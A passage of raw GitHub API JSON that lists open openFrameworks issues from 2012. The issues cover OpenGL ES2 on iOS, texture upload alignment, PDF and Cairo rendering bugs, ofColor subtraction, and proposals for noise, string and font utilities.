working","user":{"login":"erinnovations","id":253455,"avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","url":"https://api.github.com/users/erinnovations","html_url":"https://github.com/erinnovations","followers_url":"https://api.github.com/users/erinnovations/followers","following_url":"https://api.github.com/users/erinnovations/following","gists_url":"https://api.github.com/users/erinnovations/gists{/gist_id}","starred_url":"https://api.github.com/users/erinnovations/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/erinnovations/subscriptions","organizations_url":"https://api.github.com/users/erinnovations/orgs","repos_url":"https://api.github.com/users/erinnovations/repos","events_url":"https://api.github.com/users/erinnovations/events{/privacy}","received_events_url":"https://api.github.com/users/erinnovations/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":26,"created_at":"2012-04-16T11:19:36Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","id":4117762,"number":1175,"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-04-14T13:45:42Z","updated_at":"2012-04-14T13:45:55Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","id":4081188,"number":1171,"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","user":{"login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","url":"https://api.github.com/users/jesusgollonet","html_url":"https://github.com/jesusgollonet","followers_url":"https://api.github.com/users/jesusgollonet/followers","following_url":"https://api.github.com/users/jesusgollonet/following","gists_url":"https://api.github.com/users/jesusgollonet/gists{/gist_id}","starred_url":"https://api.github.com/users/jesusgollonet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jesusgollonet/subscriptions","organizations_url":"https://api.github.com/users/jesusgollonet/orgs","repos_url":"https://api.github.com/users/jesusgollonet/repos","events_url":"https://api.github.com/users/jesusgollonet/events{/privacy}","received_events_url":"https://api.github.com/users/jesusgollonet/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-04-12T10:09:42Z","updated_at":"2012-04-12T10:09:42Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","id":4063366,"number":1165,"title":"ofLogError, ofLogWarning lack format, ... args","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2012-04-11T11:56:33Z","updated_at":"2012-04-21T15:41:01Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","id":4032047,"number":1152,"title":"grabScreen in ofImage fails on Android","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2012-04-09T17:15:21Z","updated_at":"2012-07-13T19:01:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","id":4015514,"number":1146,"title":"Document Project Generator / clean out old tools","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-04-07T14:43:53Z","updated_at":"2012-04-07T15:00:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","id":4010494,"number":1145,"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","user":{"login":"rezaali","id":555207,"avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","url":"https://api.github.com/users/rezaali","html_url":"https://github.com/rezaali","followers_url":"https://api.github.com/users/rezaali/followers","following_url":"https://api.github.com/users/rezaali/following","gists_url":"https://api.github.com/users/rezaali/gists{/gist_id}","starred_url":"https://api.github.com/users/rezaali/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rezaali/subscriptions","organizations_url":"https://api.github.com/users/rezaali/orgs","repos_url":"https://api.github.com/users/rezaali/repos","events_url":"https://api.github.com/users/rezaali/events{/privacy}","received_events_url":"https://api.github.com/users/rezaali/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-04-06T22:02:01Z","updated_at":"2012-04-07T19:49:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","id":4001148,"number":1144,"title":"ofColor subtraction and negative values","user":{"login":"jembezmamy","id":720354,"avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","url":"https://api.github.com/users/jembezmamy","html_url":"https://github.com/jembezmamy","followers_url":"https://api.github.com/users/jembezmamy/followers","following_url":"https://api.github.com/users/jembezmamy/following","gists_url":"https://api.github.com/users/jembezmamy/gists{/gist_id}","starred_url":"https://api.github.com/users/jembezmamy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jembezmamy/subscriptions","organizations_url":"https://api.github.com/users/jembezmamy/orgs","repos_url":"https://api.github.com/users/jembezmamy/repos","events_url":"https://api.github.com/users/jembezmamy/events{/privacy}","received_events_url":"https://api.github.com/users/jembezmamy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":9,"created_at":"2012-04-06T07:56:44Z","updated_at":"2013-02-11T12:17:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","id":3917377,"number":1134,"title":"multidimensional noise output","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-04-01T16:44:55Z","updated_at":"2012-04-03T17:37:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","id":3917018,"number":1133,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-04-01T15:45:11Z","updated_at":"2012-04-01T17:48:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","id":3911629,"number":1132,"title":"ofStringUtils:: feature discussion","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-03-31T17:52:48Z","updated_at":"2012-08-27T23:35:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","id":3911537,"number":1131,"title":"ofTTF feature discussion","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":25,"created_at":"2012-03-31T17:36:25Z","updated_at":"2012-05-27T17:40:30Z","closed_at":null,"pull_request":{"